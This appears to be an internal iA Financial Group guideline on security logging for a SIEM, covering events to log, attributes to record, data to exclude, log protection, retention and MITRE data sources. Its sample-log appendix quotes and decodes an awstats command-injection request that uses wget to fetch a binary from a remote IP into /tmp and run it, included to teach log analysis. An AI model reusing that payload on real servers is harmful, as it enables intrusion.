SIEM FUNCTIONAL GUIDELINES

Confidentiality notice
The information contained in this document is intended for use by the iA Financial Group only.
Subject to the approval of a duly authorized representative of iA Financial Group, any reproduction of this document, or its distribution outside of the authorized group of users, is prohibited.

Table of contents

1. Introduction 3
   1.1. Scope 3
   1.2. Context 3
   1.3. Description 3
2. SIEM Functional Guidelines 4
   2.1. Design, Implementation and Testing of Logs 4
      2.1.1. Event Data Sources 4
   2.2. Where to Record Event Data 5
   2.3. Which Events to Log 5
   2.4. Event attributes 6
      2.4.1. Data to Exclude 7
      2.4.2. Event Collection 8
      2.4.3. Verification 8
   2.5. Deployment and Operation 9
      2.5.1. Release 9
      2.5.2. Operation 9
      2.5.3. Protection 9
      2.5.4. Protection of Data at Rest 9
      2.5.5. Protection of Data in Transit 9
   2.6. Events Monitoring 10
   2.7. Disposal of logs 10

Appendix A. Approval register 11
Appendix B. Review log 11
Appendix C. References 11
Appendix D. Log Samples 12
Appendix E. Data Sources 15
Appendix F. Dictionnary 19

SIEM Functional Guidelines	
Guidelines owner	Johanne Pageau, acting Director, Information Security Protection and Analysis
Guidelines objectives	Provide developers and architects with concentrated guidance on building application logging mechanisms, especially related to security logging. These guidelines support the application of the Security Monitoring and Analysis Standard.
Author	Sivakumar Gingee Krushnakkumar, Security Analyst
Responsible	Roman Savka, Concepteur sécurité
Revision date	2023-03-01
Approval date	2023-03-15
Effective date	2023-03-02
Frequency of review	Once (1) per year or following major changes
Next revision	2024-03-02

1. Introduction

1.1. Scope

The *SIEM Functional Guidelines* appliesto iA Financial Group (iAFG). Specifically, they apply to non-functional requirement SS-SECU-7.

The use of "iA Financial Group" or the "Company" in this document refers to iA Financial Corporation Inc. and its subsidiaries.

1.2. Context

Logging should be consistent across an organization's application and infrastructure portfolio and use industry standards where relevant, so the logged event data can be consumed, correlated, analyzed and managed by a wide variety of systems.

Refferences to logs and logging in this document is to be taken in the context of the SIEM platform use. Other uses such as log stores and queries outside of the SIEM tool are to be ignored.

1.3. Description

Application and infrastructure logging should be included for security events. Logs are invaluable data for:

- Identifying security incidents

- Monitoring policy violations
- Establishing baselines (e.g : The business as usual process)
- Supporting non-repudiation controls
- Providing information about problems and unusual conditions
- Contributing additional application-specific data for incident response
- Helping defend against vulnerabilities and exploits through attack detection

Note: Process monitoring, audit, performance metrics and transaction logs/trails are usually collected for different purposes than security event logging, and this often means they should be kept in a separate file location. Also, this document does not incite the "how" to activate those log since we are not expert in every technology at iA.

2. SIEM Functional Guidelines

2.1. Design, Implementation and Testing of Logs

2.1.1. Event Data Sources

The application itself has access to a wide range of information events that should be used to generate log entries. Thus, the primary event data source is the application code itself.

In the case of an infrastructure component, the Operating system also generates logs, and log entries. It may also directly generate security events.

The application has the most information about the user and the context of the event and often this data is not available to infrastructure devices, such as.

- Identity
- Roles
- Permissions
- Target
- Action
- Outcomes

Other sources of information about application usage that could also be considered are:

- Network firewalls
- Network and host intrusion detection systems (NIDS and HIDS)
- Application firewalls (e.g. filters, guards, XML gateways, database firewalls, web application firewalls (WAFs))
- Database applications (e.g. automatic audit trails, trigger-based actions)
- Reputation monitoring services (e.g. uptime or malware monitoring)
- Other applications (e.g. fraud monitoring, CRM)
- Asset and service monitoring systems (system or service availability)
- Asset discovery systems

- Identity and access management systems
- Vulnerability management systems (e.g.: Kenna)
- IT service management system (for change management and validation, incidents, asset classification, CMDB for asset dependency, etc.)
- Network services as DHCP and DNS services
- Privileged access and management system (PAM for activation/ deactivation and monitoring of user access with privileged account)
- Data Loss Prevention (for data discovery and classification and data handling)
- Networking assets (switches, routers, Wi-Fi, etc.)
- Cloud environments (Azure, AWS, Oracle)
- VPN solutions
- File, web and printing servers
- Antivirus

2.2. Where to Record Event Data

Applications commonly write event log data in the file system or in a database. All types of applications may send event data to a log aggregator instead of a local storage. In our case, we would be using a centralized log collection and management system (in this case, the log aggregator). Consider whether the application can simply send its event stream unbuffered to stdout for management by the execution environment. The logs can be sent to the SIEM. However, only security logs should be sent to the SIEM. The SIEM should not be seen as a long-term all encompassing log aggregation or log management solution.

2.3. Which Events to Log

Where possible, from a security perspective always log:

- Input validation failures (e.g. protocol violations, unacceptable encodings, invalid parameter names and values)
- Authentication successes and failures
- User session termination (logging-off or timed-out)
- Authorization (access control) success and failures
- Modifications to configuration
- System or system-object update or modification (ex. VM image modification, system services /drivers /executable update)
- New network connections
- Network connection failure and success
- Network-based resource calls (HTTP-page or URL resource, API-functions, shares) success or failure (authorization or inexistent resource)
- Addition or deletion of users
- Account password or Token initialization or modification
- Changes to role-based or user-based privileges
- Assigning or deleting system role to user

- Assigning users to tokens
- Adding or deleting tokens
- Use of systems administrative privileges
- Access by application administrators
- Privileged account access
- All actions by users with administrative privileges
- Use of data encrypting keys
- Encryption key changes
- Submission of user-generated content - especially file uploads
- DNS request and Domain name resolution
- DHCP request (IP release and reallocation)
- Certificate modifications
- Suspicious login location (impossible travel, etc)

Consider if the following events can be logged and whether it is desirable information:

- Suspicious, unacceptable or unexpected behavior

2.4. Event attributes

Each log entry needs to include sufficient information for the intended subsequent monitoring and analysis. It could be full content data but is more likely to be an extract or just summary attributes.

When possible and appropriate, the logs must record "who, what, where, when and why" (aka *Five W's*) for each event. The properties for these will be different depending on the architecture, class of application and host system/device, but often include the following:

Four W's	Event attributes
Who	• Human or machine user • Source address (e.g. user's device/machine identifier, user's IP address, RFID) • User identity, if authenticated or otherwise known (e.g. user database table primary key value, username)
What	• Type of event • Severity of event (e.g. {0=emergency, 1=alert, ..., 7=debug}, {fatal, error, warning, info, debug, trace}) • Security relevant event flag • Description
Where	• Service (e.g. name and protocol) • Window/form/page (e.g. entry point URL and HTTP method for a web application, dialogue box name)
When	• Log date and time (international format)

	• Event date and time - the event timestamp may be different to the time of logging (e.g. server logging where the client application is hosted on a remote device that is only periodically or intermittently online)
Why - Additional information to consider	• Action - original intended purpose of the request (e.g. log in, refresh session ID, log out, update profile) • Object – the affected component or other object (user account, data resource, file) (e.g. URL, session ID, user account, file) • Result status – whether the ACTION aimed at the OBJECT was successful (e.g. success, fail, defer) • Reason – why the status above occurred (e.g. user not authenticated, incorrect credentials) • HTTP Status Code (web applications only) – the status code returned to the user (often 200 or 301) • Request HTTP headers or HTTP User Agent (web applications only) • Extended details (e.g. stack trace, system error messages, debug information, HTTP request body, HTTP response headers and body) •

2.4.1. Data to Exclude

Never log data unless it is legally sanctioned. For example, intercepting some communications, monitoring employees, and collecting some data without consent may all be against privacy regulations.

The following should not usually be recorded directly into the security logs. If recorded, it should be removed, masked, sanitized, hashed or encrypted, depending on compliance requirement framework & governance teams:

- Application source code
- Material non-public information
- Session identification values (consider replacing with a hashed value if needed to track session specific events)
- Access tokens
- Sensitive personal data and personally identifiable information (PII) (e.g. health, government identifiers, vulnerable people). For more information read the Data Classification Standard
- Authentication passwords.
- Database connection strings
- Encryption keys and other master secrets
- Bank account or payment card holder data
- Information a user has opted out of collection, or not consented to (e.g. use of do not track, or where consent to collect has expired)

Sometimes the following data can also exist, and whilst useful for subsequent investigation, it might need some special treatment before the event is recorded:

- File paths
- Database connection strings
- Internal network names and addresses
- Non-sensitive personal data (e.g. personal names, telephone numbers, email addresses)

Consider using personal data de-identification techniques such as deletion, masking, scrambling or pseudonymization of direct and indirect identifiers where the individual's identity is not required, or the risk is considered too great.

2.4.2. Event Collection

Where possible, record data in a standard format, or at least ensure it can be exported/transmitted using an industry-standard format.

Consider the following;

- If possible, perform sanitization on all event data to prevent log injection attacks (e.g. carriage return (CR), line feed (LF) and delimiter characters (and optionally to remove sensitive data))
- Encode data appropriately for the output format
- If writing to databases, read, understand, and apply the SQL injection prevention measures
- Ensure failures in the logging processes/systems do not prevent the application from otherwise running or allow information leakage

2.4.3. Verification

Logging functionality and systems must be included in code review, application testing and security verification processes and must be done before lunching into production environment:

- Ensure the logging is working correctly and as specified
- Check events are being classified consistently and the field names, types and lengths are correctly defined to an agreed standard
- Ensure logging is implemented and enabled during application security, penetration and performance testing
- Test the mechanisms are not susceptible to injection attacks
- Ensure there are no unwanted side effects when logging occurs
- Check the effect on the logging mechanisms when external network connectivity is lost (if this is usually required)
- Ensure logging cannot be used to deplete system resources, for example by filling up disk space or exceeding database transaction log space, leading to denial of service (Assess and calculate the necessary disk space required to store the logs based on that decide how long the logs can be retained in the disk before rotating them. Note: The logs may be retained centrally by the SIEM based on the regulatory requirements)

- Test the effect on the application of logging failures such as simulated database connectivity loss, lack of file system space, missing write permissions to the file system, and runtime errors in the logging module itself.
- Verify access controls on the event log data
- If log data is utilized in any action against users (e.g. blocking access, account lock-out), ensure this cannot be used to cause denial of service (DoS) of other users.

You may refer to the Application Security Standard for more information.

2.5. Deployment and Operation

2.5.1. Release

- Provide security configuration information by adding details about the logging mechanisms to release documentation
- Brief the application/process owner about the application logging mechanisms
- Ensure the outputs of the monitoring are integrated with incident response processes

2.5.2. Operation

Enable processes to detect whether logging has stopped, and to identify tampering or unauthorized access and deletion.

2.5.3. Protection

The logging mechanisms and collected event data must be protected from misuse such as :

- Tampering in transit
- Unauthorized access
- Modification and deletion once stored

Note: Accessing, tampering, modifying or deleting logs without proper authorization are considered severe security.

2.5.4. Protection of Data at Rest

- Implement tamper detection so you know if a record has been modified or deleted.
- Store or copy log data to read-only media when possible
- All access to the logs must be recorded and monitored
- The privileges to read log data should be restricted

2.5.5. Protection of Data in Transit

- If log data is sent over untrusted networks (e.g. for collection, for dispatch elsewhere, for analysis, for reporting), use a secure transmission protocol.
- Consider whether the origin of the event data needs to be verified. Ex: External partner send logs

- Perform due diligence (regulatory and security) before sending event data to third parties. The Guide is available here: Due Dilligence guide

2.6. Events Monitoring

The logged event data needs to be available to review and there are processes in place for appropriate monitoring, alerting and reporting:

- Incorporate the application logging into any existing log management systems/infrastructure (e.g. centralized logging and analysis systems)
- Ensure event information is available to appropriate teams
- Enable alerting and signal the responsible teams about more serious events immediately
- Share relevant event information with other detection systems, to related organizations and centralized intelligence gathering/sharing systems

You can also refer to the Standard "Security Monitoring and Analytics"

2.7. Disposal of logs

Log data, temporary debug logs, and backups/copies/extractions, must not be destroyed before the duration of the required data retention period, and must not be kept beyond this time.

Legal, regulatory, and contractual obligations may impact on these periods.

Logs that are uploaded to investigation environment or logs that exceeded the legal retention period, should be sanitized following a company-accepted sanitation process.

There is also information regarding that part into the Standard "Security Monitoring and Analytics"

Appendix A. Approval register

Approver	Date
Johanne Pageau, acting Director, Informtion Security Protection and Analysis	2023-03-15

Appendix B. Review log

Version	Changes	Date
1.0	Initial version	2023-03-13
2.0	Annual update Clarifications on elements to include and exclude Responsible and approver change	2023-03-13

Appendix C. References

References
Information Security Due Diligence Guideline
Data Classification Standard
Security Monitoring and Analytics Standard
Non Functional requirement

Appendix D. Log Samples

Security Logs	
Intrusion Detection System	[**] [1:1407:9] SNMP trap udp [**] [Classification: Attempted Information Leak] [Priority: 2] 03/06-8:14:09.082119 192.168.1.167:1052 -> 172.30.128.27:162 UDP TTL:118 TOS:0x0 ID:29101 IpLen:20 DgmLen:87
Personal Firewall	3/6/2006 8:14:07 AM,"Rule ""Block Windows File Sharing"" blocked (192.168.1.54, netbios-ssn(139))."," Rule ""Block Windows File Sharing"" blocked (192.168.1.54, netbios-ssn(139)). Inbound TCP connection. Local address,service is (KENT(172.30.128.27),netbios-ssn(139)). Remote address,service is (192.168.1.54,39922). Process name is ""System""." 3/3/2006 9:04:04 AM,Firewall configuration updated: 398 rules.,Firewall configuration updated: 398 rules.
Antivirus Software,	Log 1 3/4/2006 9:33:50 AM,Definition File Download,KENT,userk,Definition downloader 3/4/2006 9:33:09 AM,AntiVirus Startup,KENT,userk,System 3/3/2006 3:56:46 PM,AntiVirus Shutdown,KENT,userk,System Log 2 240203071234,16,3,7,KENT,userk,,,,,,,16777216,"Virus definitions are current.",0,,0,,,,,0,,,,,,,,,,SAVPROD,{ xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx },End User,(IP)-192.168.1.121,,GROUP,0:0:0:0:0:0:0,9.0.0.338,,,,,,,,,,,,,,,
Antispyware Software	DSO Exploit: Data source object exploit (Registry change, nothing done) HKEY_USERS\S1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1004!=W=3
OS Logs	
OS	Event Type: Success Audit Event Source: Security Event Category: (1) Event ID: 517 Date: 3/6/2006 Time: 2:56:40 PM

	User: NT AUTHORITY\SYSTEM Computer: KENT Description: The audit log was cleared Primary User Name: SYSTEM Primary Domain: NT AUTHORITY Primary Logon ID: (0x0,0x3F7) Client User Name: userk Client Domain: KENT Client Logon ID: (0x0,0x28BFD)
Application Logs	
Application	172.30.128.27 - - [14/Oct/2005:05:41:18 -0500] "GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2fnikons%3bchmod%20%2bx% 20nikons%3b%2e%2fnikons;echo%20YYY;echo| HTTP/1.1" 302 494 172.30.128.27 IP address of the host that initiated the request Indicates that the information was not available (this server is not configured to put any information in the second field) User ID supplied for HTTP authentication; in this case, no authentication was performed [14/Oct/2005:05:41:18 -0500] Date and time that the Web server completed handling the request GET HTTP method /awstats/awstats.pl URL in the request

	Configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%20192%2e168%2e1%2e214%2f nikons%3bchmod %20%2bx%20nikons%3b%2e%2fnikons;echo%20YYY;echo| Argument for the request. Each % followed by two hexadecimal characters is a hex encoding of an ASCII character. For example, hex 20 is equivalent to decimal 32, and ASCII character 32 is a space; therefore, %20 is equivalent to a space. The ASCII equivalent of the log entry above is shown below. config dir=|echo;echo YYY;cd /tmp;wget 192.168.1.214/nikons;chmod +x nikons;/.nikons; echo YYY;echo| HTTP/1.1 Protocol and protocol version used to make the request 302 Status code for the response; in the HTTP protocol standards, code 302 corresponds to "found" 494 Size of the response in bytes

Appendix E. Data Sources

These are the data / log sources baseline recommended by the MITRE framework.

ID	Name	Description
DS0026	Active Directory	A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)
DS0015	Application Log	Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)
DS0037	Certificate	A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications
DS0025	Cloud Service	Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs
DS0010	Cloud Storage	Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs
DS0031	Cluster	A set of containerized computing resources that are managed together but have separate nodes to execute various tasks and/or applications
DS0017	Command	A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task
DS0032	Container	A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another
DS0038	Domain Name	Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)
DS0016	Drive	A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter
DS0027	Driver	A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used

DS0022	File	A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media)
DS0018	Firewall	A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules
DS0001	Firmware	Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI
DS0036	Group	A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights
DS0007	Image	A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment
DS0030	Instance	A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers
DS0035	Internet Scan	Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet
DS0008	Kernel	A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components
DS0028	Logon Session	Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorizaton
DS0004	Malware Repository	Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries
DS0011	Module	Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries
DS0023	Named Pipe	Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it
DS0033	Network Share	A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)

DS0029	Network Traffic	Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)
DS0021	Persona	A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims
DS0014	Pod	A single unit of shared resources within a cluster, comprised of one or more containers
DS0009	Process	Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures
DS0003	Scheduled Job	Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)
DS0012	Script	A file or stream containing a list of commands, allowing them to be launched in sequence
DS0013	Sensor Health	Information from host telemetry providing insights about system status, errors, or other notable functional activity
DS0019	Service	A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in
DS0020	Snapshot	A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments
DS0002	User Account	A profile representing a user, device, service, or application used to authenticate and access resources
DS0034	Volume	Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives
DS0006	Web Credential	Credential material, such as session cookies or tokens, used to authenticate to web applications and services
DS0024	Windows Registry	A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations
DS0005	WMI	The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers

Appendix F. Dictionnary

Log Collector	Log aggregation is a software function that consolidates log data from throughout the IT infrastructure into a single centralized platform where it can be reviewed and analyzed. Log aggregation software tools may support additional functionality, such as data normalization, log search, and complex data analysis.